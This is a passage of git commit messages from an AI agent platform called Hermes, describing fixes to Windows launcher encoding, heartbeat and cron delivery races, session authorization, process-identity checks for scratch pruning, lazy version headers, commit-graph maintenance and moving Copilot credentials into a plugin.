(test_dropped_bot_is_never_swapped_for_the_primary: the only test that fails when ownership is
recorded after connect instead of before). Drop the reconnecting-satellite tick and housekeeping
tests and the credential-repair test (all pass on main and with ownership recorded late), and the
housekeeping and authz unit tests that only re-test has_credential_platform.

Refs #143547
_drop_remote_media appended each note with a leading newline, so a message with no text stored
"\n[The user sent an attachment ...]". Join only the non-empty parts.

Refs #143547
An orphaned TaskCache entry (common on OEM/long-lived installs) makes
`schtasks /Query /FO CSV /NH` print a localized one-field diagnostic among
the task rows. Discovery refused the whole listing with
service_state_unknown before looking for Hermes_Gateway, and it runs on
every cold ensure, task installed or not, so Desktop could not start the
gateway after a reboot.

Only a well-formed three-column row can now name our task; every other
line is ignored. A malformed line can therefore only fall through to the
documented unmanaged start, never produce a false "task exists". A failing
schtasks call is still refused as service_manager_unavailable.

Refs #143547
Refs #142140

Co-authored-by: qd678 <12959191+qd678@users.noreply.github.com>
Co-authored-by: lim000 <12020793+kouyichi@users.noreply.github.com>
Windows Script Host decodes a BOM-less script with the ANSI code page. The
task and Startup-folder .vbs launchers were written as UTF-8, so a
non-ASCII install path (any CJK, Cyrillic or accented Windows username,
since HERMES_HOME and the venv default to %LOCALAPPDATA%) reached python
garbled. PYTHONPATH then failed to import hermes_cli and every task start
died before logging; the Startup chainer quit silently because FileExists
on the garbled target was false.

Both launchers are now written as UTF-16 (BOM included). The identity check
that ensure runs before `schtasks /Run` decodes by BOM, so the new
launchers and the UTF-8 ones older versions wrote both verify. Existing
installs are rewritten on the next update: _refresh_windows_gateway_launchers
already regenerates gateway.vbs, and reconcile_autostart_launchers now also
rewrites an existing Startup entry when no task is registered.

Refs #143547

Co-authored-by: guoxian-led <205393609+guoxian-led@users.noreply.github.com>
The task and Startup-folder .vbs launchers are now written as UTF-16 with a
BOM, but install discovery still decoded every service definition as UTF-8
and dropped decode failures. A custom-home install that only the launchers
name then looked fresh to Desktop's welcome-trial check.

Discovery now decodes definitions with the same BOM-aware launcher_text the
runtime identity check uses, so new UTF-16 and older UTF-8 launchers both
name their home. The install_state test generates both launchers with the
real writers instead of hand-written UTF-8 fixtures.

The schtasks discovery test calls _windows() directly instead of patching
sys.platform (tests/AGENTS.md: don't fake the host OS).

Refs #143547
A Windows-only live test writes the Startup chainer through the real
_install_startup_entry for a target under a directory named with
non-ASCII characters, runs it with cscript.exe, and waits for a marker
file that the target writes. The chainer quits silently when
FileExists(target) is false, so the marker appears only if WSH decoded
the path from the UTF-16 BOM script. Skipped on non-Windows hosts.

Refs #143547
reconcile_autostart_launchers now rewrites an existing Startup .vbs in
place when no task is registered, so an older UTF-8 chainer becomes
UTF-16. doctor --fix reconciles only when redundant entries exist, so in
practice only hermes update reaches this branch; say so in the docstring.

Refs #143547
The live Windows probe polled the marker file with a bare time.sleep loop, which tests/AGENTS.md bans. Use tests.waiting.wait_until(marker.exists, timeout=30) instead and drop the unused time import.

Refs #143547
LocalSessionAdapter is a stub: no gateway_runner, no message handler, and a
send() that acknowledges a turn's own output. Three producers treated it like
a messaging adapter and lost their delivery to Desktop/TUI/CLI chats:

- KB-22: the adapter is built outside _create_adapter, so deliver_wake saw
  no runner, skipped admit_route_wake and fell to the missing handler
  (WakeNotAccepted). Bind gateway_runner from the authority it holds.
- RT-90: the heartbeat poller returned on a missing message handler before
  the authority branch, which needs none. Let a LocalSessionAdapter through.
- CRON-11: a local origin resolved to the stub send() (delivered, nothing
  shown) or, with no local chat restored yet, to "platform 'local' not
  configured/enabled". A local target is now admitted into the chat's FIFO
  by its owner in this process (owner_for_home, as cron execution uses),
  through admit_route_wake like a Kanban wake, with the Bot Chat framing.
  No owner in this process is an error, never a success.

Refs #143547

Co-authored-by: lucasfdale <89506270+lucasfdale@users.noreply.github.com>
Co-authored-by: gomediacoin <130362016+gomediacoin@users.noreply.github.com>
With the gateway poller now admitting local-chat heartbeats, a classic CLI
viewer's watchdog still asks session.automation due_prompt for the same
session. Both run in the gateway (poller on the loop, the RPC in a worker
thread), each on its own HeartbeatManager snapshot, so both could see the
tick due and both fire it: one automation admission plus one CLI user turn.

due_prompt now claims under a process lock with a compare-and-set on the
stored (last_fired_at, fire_count), as abandon_fire already checks; the
loser adopts the stored row and returns None.

Refs #143547
A cron result admitted into a local chat ran as an automation turn over
the Bot Chat framing: a second model call over text that is already
finished. The admission now goes to the existing note executor
(session_completion_notes): a 'cron' producer is always noted, viewer or
not, so at the FIFO head the gateway writes the delivered text into the
chat's history (append_completion_note, keyed by the admission) and
settles it with no model call. The FIFO row is kept rather than a direct
write, which a live turn's lease would refuse. Failure notices are noted
the same way, marked diagnostic. The no-owner/unknown-chat/refusal/
timeout errors are unchanged.

Refs #143547
The heartbeat poller now admits ticks for local chats, so a classic CLI
armed with /heartbeat had two drivers. When the poller won a tick, the
turn ran as a local_automation_v1 admission that the CLI never painted,
and re-anchoring on the winner's poll kept it winning. The poller now
skips a local session whose classic CLI drives its automation
(viewer_driven: session.automation recorded it and the CLI still holds
its subscription). Desktop and TUI chats, which have no watchdog, still
get their heartbeats from the poller.

Refs #143547
due_prompt's compare-and-set skipped a stored row that was gone
(cleared) and never compared its status, so a driver holding a stale
active snapshot fired anyway and save_heartbeat wrote status active back
over a pause or clear. A missing or inactive stored row is now a lost
claim: the manager adopts it and returns None, as abandon_fire already
does.

Refs #143547
The deliver description still told the model a CLI or TUI session has
no channel back, so it would keep telling users a default-deliver job
will not reach them. A local chat's cron result is now written into its
history as a note, seen on reopen and by the next turn.

Refs #143547
Any session.automation call marked a session viewer-driven, including the
goal/loop reads a CLI makes on reopen. The CLI starts its heartbeat watchdog
only on /heartbeat set or resume, so the poller stood down with no driver.
Record heartbeat ownership only on the heartbeat due_prompt op, which only a
running watchdog issues, tied to that connection's live subscription.

Refs #143547
due_prompt rereads the stored row and writes the claim under _CLAIM_LOCK, but
_set_status did not take it. A clear or pause landing between the reread and
the write was overwritten with the stale active state. Take the same lock.

Refs #143547
The CLI proxy sends due_prompt only once its own copy is due, so marking on
due_prompt alone left the first due tick to a race with the poller. /heartbeat
set and resume start the watchdog: record ownership on those too.

Refs #143547
The gateway poller stands down for a session while its classic CLI runs
the heartbeat watchdog. The watchdog checked is_active()/due_prompt()
against the GatewayHeartbeatManager state cached when the proxy was
built, so a heartbeat another viewer resumed, set or re-anchored stayed
paused or not due in the CLI, and no driver fired it. The watchdog now
reads the gateway's state (one session.automation 'state' call) before
each check.

Refs #143547
session.automation recorded viewer_heartbeat before the op ran, so a /heartbeat resume with nothing to resume (no watchdog started) still made the gateway poller stand down. Record it after the op: on due_prompt, or on set/resume returning a state, the CLI's own condition for starting its watchdog.

Refs #143547
Replace the sleep-poll loop with tests.waiting.wait_until; it uses its own time module, so the cli_loops_mixin.time monkeypatch does not affect it.

Refs #143547
A remote Desktop signed in through the dashboard (basic or OIDC login)
reaches session.mutate as an HTTP actor. require_history_claim ran before
authorize_history and refused every unrouted, unbound row unless the
actor held a native transport, so archive/pin/rename of the login's own
chats answered 403 permission_denied while a gateway owned the profile.

The claim gate now also passes when the row's login stamp equals the
actor's subject or login label: the same ownership evidence
authorize_history (and adoption) already accept, and which it re-checks
with the capabilities right after. Unstamped rows, another login's rows
and the host's native subject stay refused.

Refs #143547
_mutate_via_gateway_owner treated any discovery without an endpoint
(control_timeout, profile_mismatch, a refused peer, an owner starting or
draining) as owner-less and fell back to the offline store, whose
exclusive-maintenance reservation the live gateway always wins. Over SSH
`serve --isolated` that turned pin/rename/archive/mark-unread into a 409
that the client showed as applied, and the edit vanished on reconnect
(#144141).

Only an `absent` verdict now takes the offline path. Any other verdict
logs discovery's state, reason and detail and answers a retryable 503
`owner_unavailable: <reason>`. Why discovery fails inside the SSH backend
is not fixed here; the logged reason is what identifies it.

Refs #143547
Addresses review feedback on #144596.

Refs #143547
_LINEAGE_CTE_SQL followed every parent link through a compression-ended
parent, branch links included. A login's pin, hide or archive on its own
branch row then also wrote the compressed chat it branched from, whoever
owned it (another login, or the host's unstamped row). Both recursive
steps now apply _non_continuation_child_sql, the edge rule prune and
_expand_compression_lineage_ids already use, so a branch, delegate or
reset fork is never part of its parent's lineage and vice versa. Every
compression segment of a chat still moves together.

Refs #143547
A verdict other than absent does not prove a live owner: discovery's path
checks return inaccessible before reading gateway.lock (a stale bad-mode
or foreign gateway.sock, a group-writable home, a parked secondary). The
previous change answered 503 for all of them, so an edit that worked on
main stayed refused until the node was repaired by hand.

Every endpoint-less verdict takes the offline store again. Only when its
reservation loses (OwnershipConflict) and discovery read something other
than absent does the edit answer 503 owner_unavailable: <reason>, keeping
the reservation's remedy text. The warning names reason_code and detail
only when set. The 503 test now fails on the routing contract (a lost
reservation) instead of a TypeError from a fake that returned None.

Refs #143547
require_history_claim let a row stamped with the caller's login through
before any profile check, so a basic:alice row whose profile_name names
another profile (after a restore or a copy) was editable and claimable,
while validate_legacy_row answers not_found for the same row. The
shortcut now requires the same profile_name rule (blank still allowed).

Refs #143547
A rename frees a title held by a compression ancestor by moving it to the
tip. _is_compression_ancestor walked any child of a compression-ended
parent, so a login's own branch of another owner's compressed chat could
take that chat's title and bump its revision. The walk now applies the
shared continuation-edge rule (_non_continuation_child_sql), so branch,
delegate, reset and tool children end the lineage and the rename
conflicts instead.

Refs #143547
The test binds an AF_UNIX socket and relies on POSIX modes; Windows
discovery uses named pipes, so it could pass there without exercising
the regression.

Refs #143547
On Linux psutil's create_time() is the cached /proc/<pid>/stat start ticks
plus boot_time(), and psutil 7.2.2 re-reads /proc/stat btime on every call.
WSL2 re-anchors btime after host sleep, so the owner's read of a live
worker's birth drifted from the one the worker reported in its hello, and
the exact-equality fences (reservation, worker.adopt/persist, delegation
dispatch, the launcher signal and the Kanban owner receipt) refused it:
every Kanban card, cron run and subagent ended permission_denied.

worker_birth() reads the kernel start ticks since boot
(create_time(monotonic=True)) on Linux and keeps process_birth() elsewhere;
every managed-worker identity fence now uses it. The spawn ledger keeps
process_birth() so its persisted epoch births still match after an update.
An owner_admitted receipt written before this change reads as another
process: its reclaim pauses, the fail-safe direction.

Refs #143547

Co-authored-by: Sebastian Hänisch <5960303+TKCen@users.noreply.github.com>
A managed worker (every Kanban card, --safe-mode and --ignore-user-config
chats) built AIAgent from the frozen model.base_url with no api_mode, and
resolved the route only to fill a missing key. The in-process turn takes
api_key, base_url and api_mode from route_runtime(), so a route whose
api_mode or endpoint only resolution knows failed only in the worker:
opencode-go Responses models fell back to chat_completions (400), and
Bedrock, which stores no base_url, landed in us-east-1 where eu./apac.
inference profiles do not exist.

worker_route() runs the same route_runtime() call with the bound launch
key (if any) and returns api_key, base_url and api_mode for the agent. A
bound launch key still wins; on a fallback entry nothing is carried, as
before (#139155). Resolution stays in the worker's own profile home: no
new secret path.

Refs #143547

Co-authored-by: Kazantcev Andrey <45011689+heckad@users.noreply.github.com>
Co-authored-by: Gekiere Aurélien <11493426+aurel282@users.noreply.github.com>
Addresses review feedback on #144593.

Refs #143547
The explicit qwen-oauth builder fell back to DEFAULT_QWEN_BASE_URL when
a token came without a URL, so a profile's HERMES_QWEN_BASE_URL proxy
was dropped. The URL now comes from the explicit URL, then the same
_qwen_base_url() helper the Qwen CLI resolver uses, then the default.

Refs #143547
A response frame (sudo, secret, vault, Desktop UI reads, plugin choices)
carries no profile, so dispatch settles it before profile routing and
_resolve_response only checked the primary authority. On a multiplexed
gateway the Desktop's host-scoped socket attaches a non-default profile's
session through a sibling connection, so the answer failed may_settle and
was dropped; the tool waited out its timeout and read an empty value.

Check entitlement against this connection and the sibling connections it
holds: the pending request's event stream already identifies its owning
authority, and only the connection that attached the session passes.

Refs #143547
The positive case alone would pass if may_settle stopped checking
attachment or accepted any sibling for the profile. Open a second
host-scoped socket with its own beta session: the first socket holds a
beta sibling attached elsewhere, so its answer to that request id is
refused and the request stays open until the owning socket answers.

Refs #143547
_resolve_response logged 'unknown server request' even when the id was
open and only the connection's entitlement failed, which made the
sibling routing gap look like a missing request. resolve() only consults
session_ok for an open id, so record that it was asked and name the
reason in the debug line. Behaviour is unchanged.

Refs #143547
ask_sudo polled transport.frames with a hand-rolled deadline loop and
asyncio.sleep(0.01), which tests/AGENTS.md bans. Use the shared
tests.waiting.async_wait_until helper with the same frame predicate and
a 5 s timeout, and drop the loop clock it no longer needs.

Refs #143547
An empty find_voices object is the model's way to browse the library with the
defaults, but a truthiness check sent it down the speech path ('Text is
required', or audio instead of a search). Check for presence, in the handler and
the display formatter (Greptile P1 on #144633).
The host-hints section only needs the scratch path. It called get_scratch_dir() with the default prune=True,
so the first prompt build in a process ran the once-per-process scratch prune synchronously. On macOS under
launchd and on Windows the boot hook returns early (the OS already sets TMPDIR/TEMP), so that first build
pays the whole prune, sometimes inside an automatic compaction boundary while a user turn waits.

Ask for the path only and run the same once-per-process prune on one daemon thread, against the path the
caller resolved (threads do not inherit the profile override contextvar). The prompt text is unchanged.
get_scratch_dir(prune=True) ran the once-per-process idle scan and rmtree inline. Its first
caller in nearly every process is the boot hook (hermes_bootstrap -> export_scratch_tmp_env ->
apply_scratch_tmp_env), so `hermes`, the TUI backend, serve, gateway and every Hermes child sat
on the prune before doing anything: a 34 GB idle entry held one CLI start for 13 s.

The prune=True path now schedules the same pass on the scratch-prune daemon thread (the
background helper from the prompt-builder fix), so the boot hook, the post --profile re-export,
the child-env builders (apply_subprocess_home_env) and the system prompt all share one
non-blocking path; the prompt builder goes back to a plain get_scratch_dir(). The directory is
still created and permissioned before the call returns, so TMPDIR is valid at once. Stamp,
once-per-process flag, 24 h idle rule, reap and audit log are unchanged; the thread gets the
path the caller resolved.

A process that exits mid-prune kills the thread with the hourly stamp already touched: entries
it never reached go on the next hourly pass, and an entry cut inside rmtree waits 24 h (the
unlinks freshen its directory mtimes), the same as a Ctrl-C during the old inline prune.

Tests: the 3 prompt-builder tests become 2 invariants (boot hook + prompt never wait and prune
once on the resolved dir; the thread prunes the routed home's dir), both red on main.
On a daemon thread the hourly prune died with every short-lived `hermes` command: the
stamp was already spent, so a run of quick commands could eat every hourly pass and
reclaim nothing, and a pass cut inside rmtree left a remainder the idle rule kept for
another 24 h.

The process that is due a pass now keeps the once-per-process flag and the hourly stamp
and hands the pass to a detached child (start_new_session on POSIX, the repo's Windows
detach flags with the no-breakaway retry). The child runs `python -I` on the launcher's
own sys.path with the scratch path the caller resolved, and calls prune_scratch_dir
directly: no hermes_bootstrap, no boot hook, no second prune, no re-resolved home. The
pass is the unchanged origin/main pass: same idle rule, re-check, reap and audit log.

The launcher's process tree stays the pass's own lineage after the child is reparented
(captured at child start): a shell working inside an idle entry that ran the Hermes
command still keeps that entry, as it did when the prune ran inline. A failed spawn is
logged at debug and dropped; the next process past the hourly mark retries.

The test conftest marks the once-per-process prune as done so no test starts a real
child (or feeds one to its Popen mock); the prune tests reset it.

Tests: the two daemon-thread tests become (1) the boot hook and the prompt build hand the
pass to exactly one child for the resolved (and routed) scratch dir, red on main; (2) a
real short-lived process exits at once and its detached pass still removes the routed
home's idle entry, leaving the launch home alone, red on the daemon-thread head.
The detached pass got only the launcher's pid and ppid and walked their ancestry itself, ~40 ms
later (more under load). When both had already exited, the user's shell sitting in an idle
entry was no longer anyone's ancestor: it was TERMed and the entry deleted, where the inline
prune on main keeps both.

- The launcher computes its ancestry as (pid, create_time) pairs before it spawns the pass and
  hands them over; the pass spares a passed pid only while it still has that create time.
- A launcher that cannot compute it (no psutil, a process refusing inspection) hands over
  nothing: the pass signals no process and keeps every entry a live process works in.
- A process check that raises deletes nothing that pass (logged), instead of deleting with no
  ownership check; prune_scratch_dir's only production caller is now the detached pass.
- A failing pass leaves one line in scratch-prune.log (its stderr is /dev/null).
- tests: an autouse conftest fixture stubs spawn_prune per test, so a test that reloads
  hermes_constants no longer starts a real detached pass.
The detached pass writes "removed ..." after the rmtree, so a test that reads the log as soon
as the entry is gone can race the write.
On Linux psutil derives create_time from a whole-second boot time it
re-reads per call; a clock step (NTP, resume, VM time sync) between the
launcher recording its ancestry and the detached pass checking it moved
the value by 1 s, so the exact match failed and the user shell working
in an idle entry was signalled. Compare with the same 2 s tolerance the
spawn-ledger check already uses; a reused pid can only be spared.
On macOS psutil shifts create_time() by a boot-time reference frozen per
process, so the launcher capturing its ancestry and the detached pass
checking it read different values after a clock step (sleep/wake, NTP)
and the 2 s tolerance does not cover it. Capture and compare with
hermes_cli.process_identity.process_birth (the kernel start on macOS),
the helper managed-worker identity already uses (#140580); keep the
tolerance for the Linux whole-second boot-time re-read.
psutil create_time() on Linux is start ticks plus the current /proc/stat
btime, which moves with every wall-clock step, so a step larger than the
2 s tolerance (NTP, VM sync, resume) made the detached pass treat the
live launcher shell as a reused pid, signal it and delete its entry.
Record and compare /proc/<pid>/stat starttime (clock ticks since boot,
exact) on Linux; keep process_birth with the tolerance elsewhere.
Reviewer probe (procfs btime shifted +5/-5/0 s): shell alive and its
entry kept in all three; idle entries still removed.
comm is cut at 15 bytes and can end mid-UTF-8 sequence (multibyte exec
name, prctl/libuv titles); read_text raised UnicodeDecodeError, the stamp
fell back to a wall-clock birth and was compared exactly against ticks,
so after a clock step the launcher shell was signalled and its entry
removed. Parse /proc/<pid>/stat as bytes; on a /proc host a read failure
now fails closed (capture: no lineage, spare everything; check: spare
the pid) instead of mixing sources.

Reviewer probe with a non-UTF-8 comm, btime shifted +5/-5/0: before,
shell TERMed and entry removed at +5 and -5; after, kept in all three.
Every CLI start imports all provider plugins (hermes_cli.config lists their env vars), and
fireworks/gmi/xai/router/kimi/opencode plus auth_constants, models, model_catalog,
auxiliary_client, gemini_native_adapter, web_server_messaging, slack, yuanbao and perplexity
built a `<product>/<release>` string at module level. In a source checkout the release comes
from the 7-call git provenance walk (`git tag --merged HEAD` alone is ~0.35 s in a large
clone), so `hermes sessions list` paid it for headers it never sends.

Provider profiles take a LazyHeaders mapping (resolved on first read by the client builders,
which already copy with dict()); core modules call version_info.hermes_user_agent() where the
request is built. Header values are unchanged.
_current_checkout_sha() went through get_code_identity(refresh=True), which drops the cache and
re-runs the whole provenance walk (tag scan, rev-list, status, ...) only to compare SHAs. The
startup fleet hint calls it on every launch, so every `hermes` command paid a second full walk.
read_checkout_sha() answers the same SHA (stamp, else `git rev-parse HEAD`) and drops the cached
identity the same way, so updater callers that relied on the refresh still re-resolve.
Fresh-interpreter cases with a logging git shim: importing config + every provider plugin runs
no git until a header is read (and the header still carries the release); the startup checkout
SHA read is exactly one `rev-parse HEAD`. Both fail on 710fa8a073.
Greptile: "LazyHeaders lost across the plugin host wire". A user model-provider override that copies a
bundled profile (dataclasses.replace(get_provider_profile('gmi'), ...)) inherits its LazyHeaders; the
credential-free profile extraction encoded that Mapping as an Opaque placeholder, so dict() on it raised
inside the client builders' suppress() and the User-Agent was silently dropped. describe_profile now
materializes non-dict Mapping fields to a plain dict in the extraction child; the wire codec stays
dict-only so no other Mapping (an environ) starts crossing the boundary as data.
Greptile: "fixture git inherits commit.gpgsign/tag.gpgsign". run_tests.sh keeps the real HOME, so a
global signing config made the fixture's commit/tag prompt for or fail on a key. The fixture's git now
runs with GIT_CONFIG_GLOBAL=/dev/null, GIT_CONFIG_NOSYSTEM=1, signing forced off and explicit
author/committer, scoped to that subprocess env (inherited GIT_* dropped).
Review finding (P2, #144640): LazyHeaders was a read-only Mapping, so a
user provider override doing get_provider_profile('gmi').default_headers.copy()
(or |, update, json.dumps, ==) raised AttributeError and the provider
disappeared, in-process and under plugins.isolation: host.

LazyHeaders is now a dict subclass that stores every key up front and
resolves callable values (the release-carrying User-Agent) on first value
read. Every value-reading/mutating method resolves first; __iter__ is
overridden so dict(x)/{**x}/f(**x) leave CPython's raw-storage fast path;
json.dumps takes items() because the stored keys make it non-empty.
.copy()/|/copy/pickle yield plain resolved dicts. Importing provider plugins
still runs no git. The plugin-host Mapping materialization is gone: encode()
reads a dict subclass through items(), which resolves.
Parallel clients reading default_headers for the first time each ran the
resolver, so 16 threads spawned 112 git subprocesses (16 version walks)
instead of 7. Double-checked lock around resolution; the reviewer probe
now shows 7 spawns, no unresolved values.
A header callback that reads another unread LazyHeaders (a derived
User-Agent) re-entered the plain Lock on the same thread and hung; in
host isolation the extraction timed out and the plugin vanished. RLock;
the override test gains a derived header (red on de37426: gmi-tag None
under host isolation). Concurrent first reads still resolve once (7 git
spawns for 16 threads).
`git tag --merged HEAD` (the version lookup run at startup and by `hermes update`)
walks every commit the commit-graph does not cover. On a real install checkout the
graph had stopped two months back (0.34 s per lookup; 0.04 s once fresh) because:

- partial clones have git's own graph writers switched off on purpose
  (gitlock._TREE0_MAINTENANCE_OFF, #127711), and Hermes's pack maintenance never
  wrote one; and
- a killed writer's objects/info/commit-graph.lock sat there for two months.
  gitlock's stale-lock sweep only knew shallow/index/HEAD/MERGE_HEAD locks.

Changes:
- clear_stale_git_locks also sweeps commit-graph.lock, the split chain lock and
  both multi-pack-index locks (same age + no-git-running gates). Covers the
  update path (clear_git_debris) and the background pass.
- _maintain_pack_health (background thread on `hermes -w` launches) refreshes a
  missing or day-old graph with `git commit-graph write --reachable --split
  --no-changed-paths`, under its own single-flight 6 h slot, niced, killed as a
  process tree on timeout, with GIT_NO_LAZY_FETCH. Without Bloom data the write
  reads commits only, never trees, so it cannot start the #127711 lazy-fetch
  loop (tree:0 probe: 0 fetches vs 10 for an inferred-Bloom write), and costs
  ~3 s instead of ~27 s on hermes-agent's 390k commits.
The commit-graph refresh only ran on the `hermes -w` background pass, for the repo
that launch came from. An install checkout that never hosts a `-w` launch never got
a graph, so its startup banner version lookup and `hermes update`'s ancestry checks
kept walking the uncovered history.

_run_post_update_maintenance (post-pull code, run by both the current completion
and the historical finish) now calls worktree_ops.spawn_commit_graph_refresh right
after the release-history fetch: the same missing-or-day-old check and 6 h slot,
then a detached child running the same niced runner (process tree killed at 600 s,
--split --no-changed-paths, GIT_NO_LAZY_FETCH). Detached so the write neither
delays the update nor dies with it; best-effort, so a spawn failure is a debug line,
never a follow-up. ZIP installs have no .git and skip.
Review round on #144647 (head d016f04694d):

- CI routing: the refresh (slot claim, bounded runner, stale check, detached spawn) moves to
  hermes_cli/git_commit_graph.py, routed to e2e_upgrade with the update pipeline. The update path
  imports it instead of all of worktree_ops; worktree_ops keeps its repack seams and imports the
  shared slot claim and runner from it (no cycle).
- W1: the -w pass runs in whatever repo it was launched from, so its refresh sweeps only the
  object-store locks (clear_stale_git_locks(names=OBJECT_STORE_LOCK_NAMES)); index.lock / HEAD.lock
  there belong to the user's git. The install checkout's update sweep is unchanged.
- W2: timeout/exit reaping SIGTERMs the git tree first and SIGKILLs only after a 5 s grace
  (kill_process_tree(grace=), default unchanged for every other caller), so git deletes
  commit-graph-chain.lock and tmp_graph_*. The age-gated tmp sweep now also takes
  objects/info/commit-graphs/tmp_graph_*.
- N1: a breakaway-forbidding Windows job gets the no-breakaway retry, and a spawn that fails gives
  the 6 h slot back.
- N2: the detached child logs a failed write (git's fatal line) to the home's agent.log/errors.log.
- core.commitGraph=false in the target repo skips the write.
- N3: a successful no-op write stamps hermes-commit-graph.fresh, so an idle repo is not rewritten
  every slot.
- N4: test_update_finish's completion child and every in-process hermes_cli test stub the
  detached spawn; no writer outlives a test run.
- Greptile: the refresh test now runs on a treeless clone over a Bloom graph and asserts the
  write adds no pack (red when --no-changed-paths is dropped).
Review round on the commit-graph refresh (Greptile + re-review):

- Global graph setting is ignored: core.commitGraph=false is read with the
  user's global/system git config, which the writer's isolated env blanks.
- Expired slots allow duplicate writers: check and claim of the maintenance
  slot run under one flock/msvcrt lock on the slot file, which is never
  unlinked; a failed spawn gives back only a claim holding its own pid.
- Linked worktrees and submodules (a .git file) were skipped: the common git
  dir is resolved once (update_lock._git_common_dir) and used for the object
  store, slot, debris sweep and fresh stamp, on the update spawn and on the
  `hermes -w` pass alike.
- Timeouts were silent: the kill is logged at WARNING, with the timeout
  unrounded.
- kill_process_tree(grace>0) returned once the leader exited on SIGTERM,
  orphaning a group member that ignores it: the rest of the group it led is
  SIGKILLed. grace=0 is unchanged.
- The child's failure line was lost when <home>/logs did not exist: the log
  dir is created at failure time via mkdir_under_hermes_home (a deleted
  profile is not resurrected), and a log that cannot be opened no longer
  raises out of the logger.
macOS ships bash 3.2, which has no $BASHPID, so the member never wrote
its pid and the macOS-only lane failed. Spawn the TERM-ignoring member
as its own sh -c, whose $$ is its pid; the ignored disposition survives
the exec into sleep. Still red on ea700a93 (member survives).
Review finding (#144647, P2): the object-store lock sweep removed a live
writer's lock. _git_proc_running matched only processes named exactly
`git` (git-core's dashed executables, e.g. a `git-commit-graph` writer,
ran unseen) and answered "no git running" whenever pgrep was missing or
failed. A writer stopped after taking commit-graph.lock, its lock aged
past ten minutes, lost the lock to the sweep; once resumed the repo was
left with no commit graph while Hermes had stamped it fresh.

The guard now fails closed: on POSIX it scans with psutil (pgrep with a
`^git(-.*|\.exe)?$` pattern in the dependency-free bootstrap), on Windows
it reads every tasklist image name; both match git, git-<sub> and .exe
through _early_recovery._git_program. A probe that cannot tell (pgrep
missing or erroring, tasklist failing, a psutil read denied) keeps every
lock. This covers every sweep that shares the guard (update-path
shallow/index/HEAD locks, tmp-pack debris), not only the graph refresh.

The freshness stamp is written only when a graph is on disk after a
successful write (a split chain whose layers all exist, or a monolithic
graph): a write that exits 0 with no graph, as in a commitless repo,
no longer marks the repo fresh.
The probe caught only OSError/SubprocessError, so anything else raised
around the spawn escaped the sweep instead of failing closed (on Windows
CI, update tests that guard subprocess.run to git-only saw tasklist and
their assertion propagated; main swallowed it). Catch everything and
answer "git may be running".
Replaces the hand-rolled sleep loop the new test added (tests/AGENTS.md
HX013); the sleeper is reaped in finally so a failed wait cannot leak it.
GitHub->Copilot token exchange (hermes_cli/copilot_auth.py) moves into the
in-tree copilot plugin (plugins/model-providers/copilot/credentials.py), and
core's Copilot credential branches become generic profile hooks the plugin
fills: resolve_api_key_secret, runtime_base_url, prepare_pool_entry,
seed_pool_credentials, remove_credential_source, refresh_runtime_credentials,
is_stale_credential_error, request_rejection_hint, external_auth_evidence and
the ambient_credentials field. Behaviour-preserving (gh auth token fallback kept).
Generic seams (providers/base.py, lane L4 block):
- ProviderProfile.hostnames / metadata_hostnames: hosts a profile claims for URL->provider inference.
- providers.profile_for_host(url, *, metadata=False): lazy, per-home lookup over those claims
  (exact host or subdomain, never substring).
- ProviderProfile.models_dev_id (declared; consumers follow).
- ProviderProfile.live_context_length(model, *, api_key, base_url): credentialed live catalog window,
  consulted at the same step (after the persistent cache) the Copilot branch ran.

Core loses the Copilot rows in model_metadata._URL_TO_PROVIDER, the auxiliary pool/auth-refresh host
tables and the dead _STRICT_VISION_BACKENDS row (never reached: only nous and the auto-order providers
go through it). The in-tree copilot plugin claims githubcopilot.com (+ GitHub Models metadata hosts)
and answers live_context_length from its catalog; copilot-acp delegates to it.
Waive BLE001/S110 on catch-alls moved verbatim from core; keep models.py at its line cap.
agent/copilot_acp_client.py becomes agent/acp_client.py: ACPClient is a generic ACP stdio
client (the documented public base for external_process providers). Launch fallbacks, the
placeholder model, the marker base URL and error wording are class attributes; vendor quirks
go through two hooks, model_entry_disabled(entry) and early_exit_error(stderr_text).

plugins/model-providers/copilot-acp/client.py subclasses it with the Copilot CLI defaults,
the _meta.copilotEnablement filter and the deprecated gh-copilot banner; error text and
wire behaviour are unchanged.

agent/copilot_acp_client.py stays as a deprecated alias (once-per-process
DeprecationWarning naming agent.acp_client.ACPClient) with the historical launch defaults,
error wording and enablement filter, so the listed kimchi-acp-provider plugin keeps working
(verified against its pinned d6ffe62 code). hermes_subprocess_env is imported lazily, so a
provider plugin can import the client during discovery (kimchi's eager import now binds).

agent.acp_client and resolve_external_process_provider_credentials join the plugin
public-import allow-list; model-provider-plugin.md documents the base class.
New generic hook normalize_model_id(model, *, api_key="") -> str | None (None = core's generic rules),
consulted by model_normalize.normalize_model_for_provider, models_validate (catalog-membership lookup)
and the CLI startup repair in cli_model_switch_mixin, which re-derives api_mode through the existing
model_switch.model_derived_api_mode. The copilot plugin answers from its alias table/catalog;
copilot-acp delegates without forwarding its ACP marker key. The Copilot-only locale key
cli.model.normalized_copilot_model goes; the generic cli.model.normalized_model is used.
The Desktop Accounts tab only offered in-app device-code login to four hardcoded
providers (_DEVICE_CODE_STARTERS) and carried a hand-written copilot-acp card; the
`hermes model` flows for copilot / copilot-acp and the effort-picker branch lived in
core. They now go through generic ProviderProfile fields (providers/base.py, L6 block):

- account_card / account_status: a profile customises (or adds) its Accounts card.
- start_device_login / poll_device_login / save_device_login: data-only device-code
  hooks; core owns the wait loop, cancellation and the profile-scoped atomic save, so
  /api/providers/oauth/<id>/start and /poll serve any profile that fills them.
- model_setup_flow: a provider's own `hermes model` step ahead of the generic one.
- setup_reasoning_efforts: the setup effort picker's per-model levels.

The copilot plugin fills them in setup.py (flow moved verbatim; Desktop device login
reuses the terminal flow's OAuth app, RFC 8628 polling and COPILOT_GITHUB_TOKEN), and
copilot-acp keeps its card/flow via its own setup.py. setup_migration reads the
profile's ambient_credentials flag (lane L2) instead of a slug. Review-bot comment
attributions in voice code are reworded.
A pinned delegation.command used to force provider "copilot-acp" whenever the selected
provider was not external_process. It now resolves the external_process profile whose
process_command names the same binary, else the profile flagged with the new
ProviderProfile.process_command_fallback (copilot-acp sets it, so every Copilot setup
resolves as before), else the spawn fails loudly. A kimchi binary now lands on kimchi-acp.

The env-writer denylist's hardcoded HERMES_COPILOT_ACP_* pair becomes
hermes_cli.auth_external_process.external_process_launch_env_names(): every registered
external_process profile's process_command_env_vars + process_args_env_var. This also
closes the gap for out-of-tree providers (KIMCHI_ACP_COMMAND/ARGS) and COPILOT_CLI_PATH,
which select the executable too.
Copilot credential tests move to tests/plugins/model_providers/ and patch the
plugin module; recovery tests patch the generic refresh-owner lookup. New
